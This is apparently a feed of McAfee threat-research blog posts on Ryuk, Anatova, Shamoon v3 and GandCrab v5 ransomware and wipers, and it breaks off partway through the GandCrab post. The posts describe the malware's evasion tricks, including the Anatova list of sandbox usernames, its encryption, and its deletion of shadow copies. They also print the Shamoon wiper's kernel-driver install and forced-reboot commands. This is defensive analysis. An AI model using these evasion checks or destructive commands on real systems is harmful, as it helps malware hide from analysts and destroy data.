The post Ryuk, Exploring the Human Connection appeared first on McAfee Blogs.


In collaboration with Bill Siegel and Alex Holdtman from Coveware.


At the beginning of 2019, McAfee ATR published an article describing how the hasty attribution of Ryuk ransomware to North Korea was missing the point. Since then, collective industry peers discovered additional technical details on Ryuk’s inner workings, the overlap between Ryuk and Hermes2.1, and a detailed description of how the ransomware is piggybacking the infamous and ever evolving Trickbot as a primary attack vector. In this blog post we have teamed up with Coveware to take a closer look at the adversary and victim dynamics of Ryuk Ransomware. We structured our research using the Diamond threat model and challenged our existing hypotheses with fresh insights.

Introduction to The Diamond Model

Within Cyber Threat intelligence research, a popular approach is to model the characteristics of an attack using The Diamond Model of Intrusion Analysis. This model relates four basic elements of an intrusion: adversary, capabilities, infrastructure and victim.

For the Ryuk case described above the model can be applied as follows: “An Adversary, cyber-criminal(s), have a capability (Ryuk Ransomware) that is being spread via a TrickBot infection Infrastructure targeting specific victims.

Diamond model of Intrusion Analysis

The Diamond Model offers a holistic view of an intrusion that is a helpful guideline to shape the direction of intelligence research. By searching for relationships between two elements one can gather new evidence. For instance, by analyzing and reverse engineering a piece of malware one might uncover that a certain server is being used for command and control infrastructure, thus linking capability with infrastructure (as shown below).

Linking Infrastructure and Capability

Alternatively, one might search underground forums to find information on adversaries who sell certain pieces of malware, thus linking an adversary with a capability. For instance, finding the underground forum advertisement of Hermes2.1.

Linking Adversary and Capability

Analysis of Competing Hypotheses

In our earlier publication we explained The Analysis of Competing Hypotheses (ACH), the process of challenging formed hypotheses with research findings.
By following this method, we concluded that the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence.

In order to construct a hypothesis with the least falsifying evidence we welcome research published by our industry peers to dissimilate insights that challenge our hypotheses. When we combined all the evidence with links on the diamond model, we discovered that one essential link wasn’t made, the link between adversary and victim.

Seeking New Insights Between Adversary and Victim

Despite published research, the direct link between adversary and victim remained relatively unexplored. Unlike most cybercrime, ransomware and digital extortion frequently creates a strong social connection between adversary and victim. The adversary has certain needs and views the victim as the means to fulfill those needs. The connection between an adversary and victim often generates valuable insights, especially in cases where (extensive) negotiation take place.

Luckily, one of our NoMoreRansom partners, Coveware, is specialized in ransomware negotiations and has gained valuable insights help us link adversary and victim.

The social connection between Adversary and Victim

Ransom Amounts and Negotiations

By aggregating ransomware negotiation and payment data, Coveware is able to identify strain-specific ransomware trends. With regards to Ryuk, it should be noted that ransom amounts average more than 10x the average, making it the costliest type of ransomware. Coveware also observed that some Ryuk ransoms were highly negotiable, while others were not. The bar-belled negotiation results generated an average ransom payment of $71k, a 60% discount from an average opening ask of $145k.

The bar-belled negotiation outcomes meant that some victims were stonewalled. These victims either lost their data or took on staggering financial risk to pay the ransom. The outcomes also imply that in certain cases the adversary would rather receive infrequent large windfalls (often in excess of 100BTC), while in other cases the adversary was keen to monetize every attack and accept lower amounts to ensure payment. This difference in modus operandi suggests that more than one cyber-criminal group is operating Ryuk ransomware.

Ransom Note and Negotiation Similarities and Differences

Similarities between Bitpaymer and Ryuk ransom notes have been observed before. While it is not uncommon for ransom notes to share similar language, sequences of phrases tend to remain within the same ransomware family. Slight copy+paste modifications are made to the ransom text as a variant is passed along to different groups, but large alterations are rarely made. Below is a comparison of a Bitpaymer initial email (left) and a standard Ryuk initial email (right).

A comparison of a Bitpaymer initial email (left) and a standard Ryuk initial email (right)

The shared language implies that text once unique to a Bitpaymer campaign was borrowed for a Ryuk campaign, possibly by an operator running simultaneous ransom campaigns of both Bitpaymer and Ryuk or the imitation can be considered as the sincerest form of flattery.

Different Initial Email Response May Be Different Adversaries?

A more dramatic scripted communication difference has been observed in the initial email response from Ryuk adversaries. The initial email response is typically identical within ransomware families belonging to the same campaign. When significant differences in length, language, and initial ransom amount appear in the initial email response we are comfortable assuming they belong to unique groups with unique modus operandi. This would mean that Ryuk in being spread by more than one actor group.

Below are two such Ryuk examples:


Post Payment Bitcoin Activity

A final indicator that multiple groups are running simultaneous Ryuk campaigns can be observed in the activity of bitcoin after it hits a ransom address. Surprisingly, despite the differences between negotiation outcome and initial communications, Coveware observed little difference between the BTC wallets (blacked out to protect victims) associated with the above cases. Initial comparison showed no meaningful discrepancy in difference between the time of a ransom payment and the time of a corresponding withdraw. Additionally, the distribution of funds upon withdrawal was consistently split between two addresses. Coveware will continue to monitor the funds associated with campaigns for meaningful indicators.

Ryuk Negotiating Profiles

With few exceptions, the rest of the email replies during a Ryuk extortion negotiation are extremely short and blunt. Typical replies and retorts are generally less than 10 written words and often just a single number if the ransom amount is the point of discussion. This correspondence is unique to Ryuk.

One reply did contain quite a remarkable expression; “à la guerre comme à la guerre,” to contextualize the methods and reasons for the cyber criminals’ attacks on western companies. The French expression originates from the seventeenth century and literally translates to “in war as in war” and loosely translates to: “In Harsh times one has to do with what’s available”. The striking thing about this expression is that is prominently featured in volume 30 of the collected works of the Soviet Revolutionary leader Vladimir Lenin. Lenin uses the expression to describe the struggle of his people during the war against western capitalism.

This concept of “The capitalistic West versus the Poor east” is actually something McAfee ATR sees quite often expressed by cyber criminals from some of the Post-Soviet republics. This expression may be a clear indicator of the origin and cultural view of the criminals behind Ryuk.

Ryuk poses existential risk to certain industries

Even though the average ransom discounts of Ryuk are large (~60%), the absolute level of the ransom is extreme. Accordingly, we have seen evidence that links ransom demands to the size of the network footprint of the victim company. However, this doesn’t mean that the ransom demand correlates to the victims actual operational and financial size.

Companies in the IT Hosting and the Freight and Logistics industries have been particularly susceptible to this discrepancy. Coveware has assisted at least 3 companies that have had to unwind their business when an affordable ransom amount, could not be reached. Typically, downtime costs are 10x the ransom amount, but in these industries downtime costs can be particularly extreme.

IT Hosting companies are of note as the size and number of their servers can make them appear like a large organization. Unfortunately, the business of hosting involves high fixed costs, low operating margins, and zero tolerance of downtime by end clients.  Hosting companies that get attacked typically have a few hours to restore service before their clients drop them for alternatives. Moreover, these companies suffer irreparable harm to their reputations, and may trigger SLA breaches that leave them exposed to liability.  The inability to pay a six-figure ransom has caused multiple hosting companies to shut down.

Freight and Logistics firms are also acutely exposed. These firms also present like larger firms given the volume of data they move and their network footprint. Additionally, attacks against Freight and Logistics firms can cause immediate supply chain issues for the victims’ end clients, who are subsequently forced to route through other service providers. Similar to IT Hosting, Freight and Logistics firms have low operating margins and end clients with little tolerance for service interruptions. The inability to pay or negotiate a large ransom has materially impacted several firms in this industry.

Ryuk Decryptor findings and issues

When victims do pay the exorbitant ransom amount, the criminals will provide a decryptor to unlock a their files. This decryptor is actually framework that needs to be loaded with a victim’s private RSA key, provided by the criminals, in order to decrypt. Ensuring that the provided decryptor will only work for this specific victim. This setup allows the criminals to quickly load a victim’s key in the framework and offer a custom decryptor with minimal code change while the underlaying framework remains the same.

From Coveware’s experience we have learned that the decryption process is quite cumbersome and full of possible fatal errors. Luckily Coveware was able to share the Ryuk decryptor with McAfee ATR in order to take a closer look at the issues and level of sophistication of the decryptor.

Once launched the first thing the decryptor does is to search the HKEY_CURRENT_USER Hive for a value pair named “svchos” in the path “SOFTWARE\Microsoft\Windows\CurrentVersion\Run” and delete the specific entry. This removes the persistence of the malware. Afterwards it will reboot the system and remove any remaining Ryuk malware still receding on the system.

Deleting the “svchos” value from the registry.

Once rebooted the user needs to run the tool again and the decryptor will provide two options to decrypt.

  • Decryption per file
  • Automatic decryption

The main interface of the Ryuk decryptor with the different menu options.

HERMES File Marker

During the decryption process we have found that the decryptor searches for the known file marker string HERMES which is located in the encrypted file.

The HERMES marker clearly visible within the file

The fact that Ryuk ransomware adds HERMES filemarker string was already known, but discovering this specific check routine in the decryptor strengthens the hypotheses that Ryuk is a slightly modified version of Hermes2.1 ransomware kit that is sold online even more.

Decryptor Issues

While examining the decryptor we were astonished by the lack of sophistication and the amount of errors that resided within the code. Some of the most prominent issues were:

  • If there is a space in the Windows file path the decryptor will fail the decryption process.
  • If there is a quotation mark (“) in the file path the decryptor will report an error that it cannot find the specific file.
  • The decryptor uses the “GetVersionExW” function to determine the windows version, from Windows 8.1. the value returned by this API has changed and the decryptor isn’t designed to handle this value.
  • The decryptor doesn’t remove the .RYUK extension and replace it with the original extension. So, there is no way the name of the file can give an indication towards the type of the file, something that can be extremely labor intensive for enterprise victims.
  • When choosing the manual option in the decryptor, the user has to supply a path of the specific file or choose “0” to finish. However, choosing a “0” will put the decryptor into an infinite loop.

Looking at the decryptor, it is very worrisome to see that the criminals behind Ryuk can get away with such bad programming. It shows a clear lack of empathy towards their victims and the absence of solid coding skills. Victims who do pay the exorbitant ransom demand are far from in the clear. The decryptor offered by the criminals has a very high risk of malfunctioning, resulting in permanent damage to their precious files. Victims should always make an exact copy of the encrypted hard disk before trying to use the decryptor.

Call to action in piecing the different parts together

By combining all the fresh insights with the information that was already discovered by ourselves and industry peers we can start defining our leading hypotheses around Ryuk. Based on this hypothesis, we will actively look for falsifying evidence. We encourage the security community to participate in this process. We realize that only by collaboration can we piece the different parts of the Ryuk puzzle together.

By now it should be without question that involvement of the DPRK is the least likely hypothesis. Our leading Hypothesis on Ryuk until proven otherwise is;

Ryuk is a direct descendant from Hermes2.1 with slight modifications, based on the code overlap in the ransomware as well as the decryptor. Ryuk is not designed to be used in a largescale corporate environment, based on all the scalability issues in the decryptor. At this moment there are several actors or actor-groups spreading Ryuk, based on the extortion modus operandi and different communications with the victims. The actors or actor-groups behind Ryuk have a relationship with one of the Post-Soviet republics, based on the Russian found in one of the encrypted files and the cultural references observed in the negotiations. The actors behind Ryuk most likely have an affiliation or relationship with the actors behind Trickbot and, based on their TTP, are better skilled at exploitation and lateral movement than pure Ransomware development.


In the last seven months Ryuk has proven to be a highly profitable form of ransomware, despite the poor programming behind it and its decryptor. The criminals have proven to be ruthless and several of their victims were forced to wind down their businesses after they were unable to afford the exorbitant ransom.

When a company does give in to the high demands it is extra painful to see a situation occur where they are permanently unable to recover their files due to the faulty decryptor.

A solid data loss prevention strategy still remains the best advice against all forms of ransomware, for general prevention advice please visit NoMoreRansom. Always seek professional assistance when you are faced with a targeted ransomware attack such as Ryuk.

The post Ryuk, Exploring the Human Connection appeared first on McAfee Blogs.

]]> 0
Happy New Year 2019! Anatova is here! Tue, 22 Jan 2019 20:43:53 +0000

During our continuous hunt for new threats, we discovered a new ransomware family we call Anatova (based on the name of the ransom note). Anatova was discovered in a private peer-to-peer (p2p) network. After initial analysis, and making sure that our customers are protected, we decided to make this discovery public. Our telemetry showed that […]

The post Happy New Year 2019! Anatova is here! appeared first on McAfee Blogs.


During our continuous hunt for new threats, we discovered a new ransomware family we call Anatova (based on the name of the ransom note). Anatova was discovered in a private peer-to-peer (p2p) network. After initial analysis, and making sure that our customers are protected, we decided to make this discovery public.

Our telemetry showed that although Anatova is relatively new, we already discovered a widespread detection of the thread around the globe

We believe that Anatova can become a serious threat since the code is prepared for modular extension.

Additionally, it will also check if network-shares are connected and will encrypt the files on these shares too. The developers/actors behind Anatova are, according our assessment, skilled malware authors. We draw this conclusion as each sample has its own unique key, as well as other functions we will describe, which we do not often see in ransomware families.

This post will explain the technical details of Anatova, as well as some interesting facts about this new ransomware family.

For the analysis we used this particular hash: 170fb7438316f7335f34fa1a431afc1676a786f1ad9dee63d78c3f5efd3a0ac0

The main goal of Anatova is to cipher all the files that it can before requesting payment from the victim.


Anatova Overview

Anatova usually uses the icon of a game or application to try and fool the user into downloading it. It has a manifest to request admin rights.

Information about the binary

The Anatova ransomware is a 64bits application with the compile date of January 1st, 2019. The file size of this particular hash is 307kb, but it can change due to the amount of resources used in the sample. If we remove all these resources, the size is 32kb; a very small program with a powerful mechanism inside.

Anatova has some strong protection techniques against static analysis which makes things slightly tricky:

  • Most of the strings are encrypted (Unicode and Ascii), using different keys to decrypt them, embedded in the executable.
  • 90% of the calls are dynamic;, they only use the following non-suspicious Windows API’s and standard library of C- programming language: GetModuleHandleW, LoadLibraryW, GetProcAddress, ExitProcess and MessageBoxA.
  • When we open the binary in IDA Pro (included the latest version of IDA) the functions are bad detected, and they finish being processed after 3 opcodes. We are not sure if this is a bug in IDA Pro or perhaps the malware authors created something to cause this on purpose (which we doubt).

Problem in IDA Pro 7.2 last version


Entry Vector

At the moment we don´t know all entry vectors that Anatova is using, or will be using, in the near future. Our initial finding location was in private p2p.

The goal of Anatova, as with other ransomware families, is to encrypt all or many files on an infected system and insist on payment to unlock them. The actor(s) demand a ransom payment in cryptocurrency of 10 DASH – currently valued at around $700 USD, a quite high amount compared to other ransomware families.


In-depth highlights of version 1.0

Since this is a novel family, we didn’t find any version number inside the code, but let’s call this version 1.0

The first action that the malware executes is to get the module handle of the library “kernel32.dll” and get 29 functions from it using the function “GetProcAddress”.

Get kernel32 functions after decrypt strings

If the malware can´t get the module handle of kernel32, or some of the functions can´t be found, it will quit without executing any encryption.

Later, the malware will try to create a mutex with a hardcoded name (in this case: 6a8c9937zFIwHPZ309UZMZYVnwScPB2pR2MEx5SY7B1xgbruoO) but the mutex name changes in each sample. If the mutex is created, and gets the handle, it will call the “GetLastError” function and look if the last error is ERROR_ALREADY_EXISTS or ERROR_ACCESS_DENIED. Both errors mean that a previous instance of this mutex object exists. If that is the case, the malware will enter in a flow of cleaning memory, that we will explain later in this post, and finish.

Check mutex

After this check, Anatova will get some functions from the library “advapi32.dll”, “Crypt32.dll” and “Shell32.dll” using the same procedure as in the kernel case. All text is encrypted and decrypted one per one, get the function, free the memory, and continue with the next one.

If it fails in getting some of these modules or some of the functions it needs, it will go to the flow of cleaning tool and exit.

One interesting function we discovered was that Anatova will retrieve the username of the logged in and/or active user and compare with a list of names encrypted. If one of the names is detected, it will go to the cleaning flow procedure and exit.

The list of users searched are:

  • LaVirulera
  • tester
  • Tester
  • analyst
  • Analyst
  • lab
  • Lab
  • Malware
  • malware

Some analysts or virtual machines/sandboxes are using these default usernames in their setup, meaning that the ransomware will not work on these machines/sandboxes.

After this user-check, Anatova will check the language of the system. When we say language, we mean the system language. When a user installs the Windows OS, they choose a language to install it with (though later the user could install a different language). Anatova checks for the first installed language on the system to ensure that a user cannot install one of these blacklisted languages to avoid encryption of the files.

The list of the countries that Anatova doesn’t affect are:

  • All CIS countries
  • Syria
  • Egypt
  • Morocco
  • Iraq
  • India

It’s quite normal to see the CIS countries being excluded from execution and often an indicator that the authors might be originating from one of these countries. In this case it was surprising to see the other countries being mentioned. We do not have a clear hypothesis on why these countries in particular are excluded.

Check system language

After the language check, Anatova looks for a flag that, in all samples we looked at, has the value of 0, but if this flag would change to the value of 1 (the current malware samples never change that value), it will load two DLLs with the names (after decryption) of “extra1.dll” and “extra2.dll”. This might indicate that Anatova is prepared to be modular or to be extended with more functions in the near future.

Load extra modules

After this, the malware enumerates all processes in the system and compares them with a large list including, for example “steam.exe”, “sqlserver.exe”, etc. If some of these processes are discovered, the malware will open them and terminate them. This action is typical of ransomware that attempts to unlock files that later will be encrypted, such as database files, game files, Office related files, etc.

The next action is to create an RSA Pair of Keys using the crypto API that will cipher all strings. This function is the same as in other ransomware families, such as GandCrab or Crysis, for example. It makes sure that the keys that will be used, are per user and per execution.

If the malware can´t create the keys, it will go to the clean flow and exit.

After this, Anatova will make a random key of 32 bits and another value of 8 bytes using the function of the crypto API “CryptGenRandom” to encrypt using the Salsa20 algorithm and the private previous blob key in runtime.

During the encryption process of the files, it will decrypt the master RSA public key of the sample of 2 layers of crypto, the first one is a XOR with the value 0x55 and the second one is to decrypt it using a hardcoded key and IV in the sample using the Salsa20 algorithm.

Decrypt from first layer the master RSA public key of sample

After this, it will import the public key and with it, will encrypt the Salsa20 key and IV used to encrypt the private RSA key in runtime.

The next step is to prepare a buffer of memory and with all of the info encrypted (Salsa20 key, Salsa20 IV, and private RSA key). It makes a big string in BASE64 using the function “CryptBinaryToStringA”. The ransomware will later clean the computer’s memory of the key, IV, and private RSA key values, to prevent anyone dumping this information from memory and creating a decrypter.

This BASE64 string will be written later in the ransom note. Only the malware authors can decrypt the Salsa20 key and IV and the private RSA key that the user would need  to decrypt the files.

If this does not work, Anatova will delete itself, enter in the clean flow and exit.

When the keys are encrypted in the memory buffer, Anatova will enumerate all logic units and will search for all existing instances of the type DRIVE_FIXED (a normal hard disk for example) or DRIVE_REMOTE (for remote network shares that are mounted). Anatova will try to encrypt the files on each of those locations. This means that one corporate victim can cause a major incident when files on network-shares are being encrypted.

Check all logic units

For each mounted drive – hard disk or remote share, Anatova will get all files and folders. It will later check if it is a folder and, if it is, will check that the folder name doesn’t have the name of “.” and “..”, to avoid the same directory and the previous directory.

In the list of gathered folder names, Anatova checks against a list of blacklisted names such as “Windows”, “Program Files”, “Program Files(x86)”, etc. This is usual in many ransomware families, because the authors want to avoid destroying the Operating System, instead targeting the high value files. Anatova does the same for file-extensions .exe, .dll and .sys that are critical for the Operating system as well.

Check file name and extension

If this check is passed, Anatova will open the file and get its size, comparing it to1 MB. Anatova will only encrypt files1 MB or smaller to avoid lost time with big files; it wants to encrypt fast. By setting pointers at the end of the encrypted files, Anatova makes sure that it does not encrypt files that are already encrypted.

Next, Anatova will create a random value of 32bits as a key for the Salsa20 algorithm and another value of 8 bytes that will be used as IV for Salsa20.

With these values, it will read all files in memory or files with a maximum size of 1 MB and encrypt this information with the key and IV using the Salsa20 algorithm (this is very popular lately because it is a very quick algorithm and has open source implementations).

Encryption of files function

It will import the RSA public key created in runtime and with it, encrypt the key and IV used to encrypt the file. Next, it will write the encrypted content in the same file from the beginning of the file and then it will set the pointer to the end of the file and write the next things:

  • The block encrypted of the Salsa20 key is ciphered with the public RSA key.
  • The block encrypted of the Salsa20 IV is ciphered with the public RSA key.
  • The size of the file is smaller than 1 MB.
  • A special hardcoded value for each sample that will appear in the ransom note.
  • A special hardcoded value in the sample that is the mark of infection checked before to avoid encrypting the same file twice.

When this is completed, Anatova will write a ransom note in the same folder. So, if Anatova can´t encrypt at least something in a folder, it won’t create a ransom note in this folder, only in the affected folders.

This behavior is different from other ransomware families that write a ransom note in all folders.

The ransom note text is fully encrypted in the binary, except for the mail addresses to contact the author(s) and the dash address to pay.

Anatova doesn’t overwrite the ransom note if it already exists in a folder in order to save time.The ransom note contains the base64 block with all encrypted information that is needed to decrypt the files in a block that start with the string “—-KEY—-”, as well asthe id number.

Responding victims are then allowed to decrypt one .jpg file of maximum size 200kb free of charge, as proof that they the decrypted files can be retrieved.

Example of ransom note

When all this is done, Anatova will destroy the Volume Shadow copies 10 times in very quick succession. Like most ransomware families, it is using the vssadmin program, which required admin rights, to run and delete the volume shadow copies.

Delete of Shadow Volumes 10 times

Finally, when all steps are completed, the ransomware will follow the flow of cleaning code, as described earlier, mainly to prevent dumping memory code that could assist in creating a decryption tool.


Customers of McAfee gateway and endpoint products are protected against this version. Detection names include Ransom-Anatova![partialhash].


The samples use the following MITRE ATT&CK™ techniques:

  • Execution through API
  • Application processes discovery
  • File and directory discovery: to search files to encrypt
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges: request it to run.
  • Create mutants







The post Happy New Year 2019! Anatova is here! appeared first on McAfee Blogs.

]]> 0
Shamoon Returns to Wipe Systems in Middle East, Europe Fri, 14 Dec 2018 20:32:41 +0000

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims. Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can […]

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.


Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims.

Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can take weeks or months, while resulting in unprofitability and diminished reputation.

Recent attacks have demonstrated how big the damage can be. Last year NotPetya affected several companies around the world. Last February, researchers uncovered OlympicDestroyer, which affected the Olympic Games organization.

Shamoon is destructive malware that McAfee has been monitoring since its appearance. The most recent wave struck early this month when the McAfee Foundstone Emergency Incident Response team reacted to a customer’s breach and identified the latest variant. Shamoon hit oil and gas companies in the Middle East in 2012 and resurfaced in 2016 targeting the same industry. This threat is critical for businesses; we recommend taking appropriate actions to defend your organizations.

During the past week, we have observed a new variant attacking several sectors, including oil, gas, energy, telecom, and government organizations in the Middle East and southern Europe.

Similar to the previous wave, Shamoon Version 3 uses several mechanisms as evasion techniques to bypass security as well to circumvent analysis and achieve its ends. However, its overall behavior remains the same as in previous versions, rendering detection straightforward for most antimalware engines.

As in previous variants, Shamoon Version 3 installs a malicious service that runs the wiper component. Once the wiper is running, it overwrites all files with random rubbish and triggers a reboot, resulting in a “blue screen of death” or a driver error and making the system inoperable. The variant can also enumerate the local network, but in this case does nothing with that information. This variant has some bugs, suggesting the possibility that this version is a beta or test phase.

The main differences from earlier versions are the name list used to drop the malicious file and the fabricated service name MaintenaceSrv (with “maintenance” misspelled). The wiping component has also been designed to target all files on the system with these options:

  • Overwrite file with garbage data (used in this version and the samples we analyzed)
  • Overwrite with a file (used in Shamoon Versions 1 and 2)
  • Encrypt the files and master boot record (not used in this version)

Shamoon is modular malware: The wiper component can be reused as a standalone file and weaponized in other attacks, making this threat a high risk. The post presents our findings, including a detailed analysis and indicators of compromise.


Shamoon is a dropper that carries three resources. The dropper is responsible for collecting data as well as embedding evasion techniques such as obfuscation, antidebugging, or antiforensic tricks. The dropper requires an argument to run.

It decrypts the three resources and installs them on the system in the %System% folder. It also creates the service MaintenaceSrv, which runs the wiper. The typo in the service name eases detection.

The Advanced Threat Research team has watched this service evolve over the years. The following tables highlight the differences:

The wiper uses ElRawDisk.sys to access the user’s raw disk and overwrites all data in all folders and disk sectors, causing a critical state of the infected machine before it finally reboots.

The result is either a blue screen or driver error that renders the machine unusable.



Executable summary

The dropper contains other malicious components masked as encrypted files embedded in PE section.

These resources are decrypted by the dropper and contain:

  • MNU: The communication module
  • LNG: The wiper component
  • PIC: The 64-bit version of the dropper

Shamoon 2018 needs an argument to run and infect machines. It decrypts several strings in memory that gather information on the system and determine whether to drop the 32-bit or 64-bit version.

It also drops the file (MD5: 41f8cd9ac3fb6b1771177e5770537518) in the folder c:\Windows\Temp\

The malware decrypts two files used later:

  • C:\Windows\inf\mdmnis5tQ1.pnf
  • C:\Windows\inf\averbh_noav.pnf

Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry. It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy.

The malware checks whether the following shares exist to copy itself and spread:

  • ADMIN$

Shamoon queries the service to retrieve specific information related to the LocalService account.

It then retrieves the resources within the PE file to drop the components. Finding the location of the resource:

Shamoon creates the file and sets the time to August 2012 as an antiforensic trick. It puts this date on any file it can destroy.

The modification time can be used as an antiforensic trick to bypass detection based on the timeline, for example. We also observed that in some cases the date is briefly modified on the system, faking the date of each file. The files dropped on the system are stored in C:\\Windows\System32\.

Before creating the malicious service, Shamoon elevates its privilege by impersonating the token. It first uses LogonUser and ImpersonateLoggedOnUser, then ImpersonateNamedPipeClient. Metasploit uses a similar technique to elevate privileges.

Elevating privileges is critical for malware to perform additional system modifications, which are usually restricted.

Shamoon creates the new malicious service MaintenaceSrv. It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10):

If the service is already created, it changes the configuration parameter of the service with the previous configuration.

It finally finishes creating MaintenaceSrv:

The wiper dropped on the system can have any one of the following names:



Next the wiper runs to destroy the data.


The wiper component is dropped into the System32 folder. It takes one parameter to run. The wiper driver is embedded in its resources.

We can see the encrypted resources, 101, in this screenshot:

The resource decrypted is the driver ElRawDisk.sys, which wipes the disk.

Extracting the resource:

This preceding file is not malicious but is considered risky because it is the original driver.

The wiper creates a service to run the driver with the following command:

sc create hdv_725x type= kernel start= demand binpath= WINDOWS\hdv_725x.sys 2>&1 >nul


The following screenshot shows the execution of this command:


The malware overwrites every file in c:\Windows\System32, placing the machine in a critical state. All the files on the system are overwritten.

The overwriting process:

Finally, it forces the reboot with the following command:

Shutdown -r -f -t 2


Once the system is rebooted it shows a blue screen:


The worm component is extracted from the resources from the dropper. Destructive malware usually uses spreading techniques to infect machines as quickly as possible.

The worm component can take the following names:

We noticed the capability to scan for the local network and connect to a potential control server:

Although the worm component can spread the dropper and connect to a remote server, the component was not used in this version.


Aside from the major destruction this malware can cause, the wiper component can be used independently from the dropper. The wiper does not have to rely on the main stub process. The 2018 Shamoon variant’s functionality indicates modular development. This enables the wiper to be used by malware droppers other than Shamoon.

Shamoon is showing signs of evolution; however, these advancements did not escape detection by McAfee DATs. We expect to see additional attacks in the Middle East (and beyond) by these adversaries. We will continue to monitor our telemetry and will update this analysis as we learn more.


MITRE ATT&CK™ matrix

Indicators of compromise

df177772518a8fcedbbc805ceed8daecc0f42fed                    Original dropper x86
ceb7876c01c75673699c74ff7fac64a5ca0e67a1                    Wiper
10411f07640edcaa6104f078af09e2543aa0ca07                   Worm module
bf3e0bc893859563811e9a481fde84fe7ecd0684                  RawDisk driver


McAfee detection

  • Trojan-Wiper!DE07C4AC94A5
  • RDN/Generic.dx
  • Trojan-Wiper

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.

]]> 0
Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation Wed, 10 Oct 2018 23:29:14 +0000 The GandCrab ransomware, which first appeared in January, has been updated rapidly during its short life, with Version 5.0.2 appearing this month. In this post we will examine the latest version and how the authors have improved the code (and in some cases have made mistakes). McAfee gateway and endpoint products are able to protect […]

The post Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation appeared first on McAfee Blogs.

The GandCrab ransomware, which first appeared in January, has been updated rapidly during its short life, with Version 5.0.2 appearing this month. In this post we will examine the latest version and how the authors have improved the code (and in some cases have made mistakes). McAfee gateway and endpoint products are able to protect customers from known variants of this threat.

The GandCrab authors have moved quickly to improve the code and have added comments to provoke the security community, law enforcement agencies, and the NoMoreRansom organization. Despite the agile approach of the developers, the coding is not professional and bugs usually remain in the malware (even in Version 5.0.2), but the speed of change is impressive and increases the difficulty of combating it.

The group behind GandCrab has achieved cult status in underground forums; the authors are undoubtedly confident and have strong marketing skills, but flawless programming is not one of their strengths.

Underground alliances

On September 27, the GandCrab crew announced Version 5 with the same showmanship as its earlier versions. GandCrab ransomware has gained a lot of attention from security researchers as well as the underground. The developers market the affiliate program like a “members-only club” and new affiliates are lining up to join, in the hope of making easy money through the large-scale ransomware extortion scheme.

The prospect of making money not only attracts new affiliates, but also leads to the formation of new alliances between GandCrab and other criminal services that strengthen the malware’s supply and distribution networks. One of these alliances became obvious during Version 4, in which the ransomware started being distributed through the new Fallout exploit kit. This alliance was again emphasized in the GandCrab Version 5 announcement, as the GandCrab crew openly endorsed FalloutEK.

The GandCrab Version 5 announcement.

With Version 5, yet another alliance with a criminal service has been formed. The malware crypter service NTCrypt announced that it is partnering with the GandCrab crew. A crypter service provides malware obfuscation to evade antimalware security products.

The NTCrypt-GandCrab partnership announcement offering a special price for GandCrab users.

The partnership between GandCrab and NTCrypt was established in a novel way. At the end of September, the GandCrab crew started a “crypt competition” on a popular underground forum to find a new crypter service they could partner with. NTCrypt applied and eventually won the competition.

The “crypt competition” announcement.

This novel approach emphasizes once more the cult status GandCrab has in the underground community. For a criminal business such as GandCrab, building these alliances makes perfect sense: They increase the ease of operation and a trusted affiliate network minimizes their risk exposure by allowing them to avoid less-trusted suppliers and distributors.

For the security community it is worrisome to see that GandCrab’s aggressive marketing strategy seems to be paying off. It is generating a strong influx of criminal interest and allows the GandCrab crew to form alliances with other essential services in the cybercriminal supply chain.

GandCrab overview

GandCrab Version 5 uses several mechanisms to infect systems. The following diagram shows an overview of GandCrab’s behavior.

GandCrab Version 5 Infection

Entry vector

GandCrab uses several entry vectors:

  • Remote desktop connections with weak security or bought in underground forums
  • Phishing emails with links or attachments
  • Trojanized legitimate programs containing the malware, or downloading and launching it
  • Exploits kits such as RigEK and others such as FalloutEK
  • PowerShell scripts or within the memory of the PowerShell process (the later mainly in Version 5.0.2)
  • Botnets such as Phorpiex (an old botnet that spread not only this malware but many others)

The goal of GandCrab, as with other ransomware, is to encrypt all or many files on an infected system and insist on payment to unlock them. The developer requires payment in cryptocurrency, primarily Dash (or Bitcoin in some older versions), because it is complex to track and quick to receive the payment.

The malware is usually, but not always, packed. We have seen variants in .exe format (the primary form) along with DLLs. GandCrab is effectively ransomware as a service; its operators can choose which version they want.

Version 5.0

This version has two releases. The first works only on Windows 7 or later due to a big mistake in the compiling time. Version 5.0 carries two exploits that try to elevate privileges. It checks the version of the operating system and the TokenIntegrityLevel class of the process. If the SID Subauthority is SECURITY_MANDATORY_LOW_RID (0x1000), it tries to execute the exploits if it also passed one previous check of a mutex value.

One release is the exploit released in August on Twitter and GitHub by the hacker “SandboxEscaper.” The original can be found at this link. The Twitter handle for this hacker is

This exploit tries to use a problem with the Task System in Windows when the operating system improperly handles calls to an advanced local procedure call.

The GandCrab authors claim there is no CVE of this exploit, but that is incorrect. It falls under CVE-2018-8440. This exploit can affect versions Windows 7 through Windows 10 Server. More information about this exploit can be found at this link.

In the first release of Version 5.0, the malware authors wrote the code exploit using normal calls to the functions. Thus at compiling time the binary has the IAT filled with the DLL needed for some calls. This DLL does not exist in Windows Vista and XP, so the malware fails to run in these systems, showing an error.

Import of xpsprint.dll that will not run on Windows XP or Vista.

The exploit using direct calls.

This release published an HTML file after encrypting the user’s files, but this file was faulty because it did not always have the information needed to decrypt the user’s files.

The second release uses dynamic calls and obfuscates the strings of the exploit, as shown in the previous image. (Earlier they were in plain text.)

The exploit with dynamic calls and obfuscated strings.

The second exploit is covered under CVE-2018-8120, which in Windows 7, Windows Server 2008 R2 and Windows Server 2008 allows an elevation of privileges from the kernel. Thanks to a faulty object in the token of the System process, changing this token in the malware results in executing the malware with System privileges.

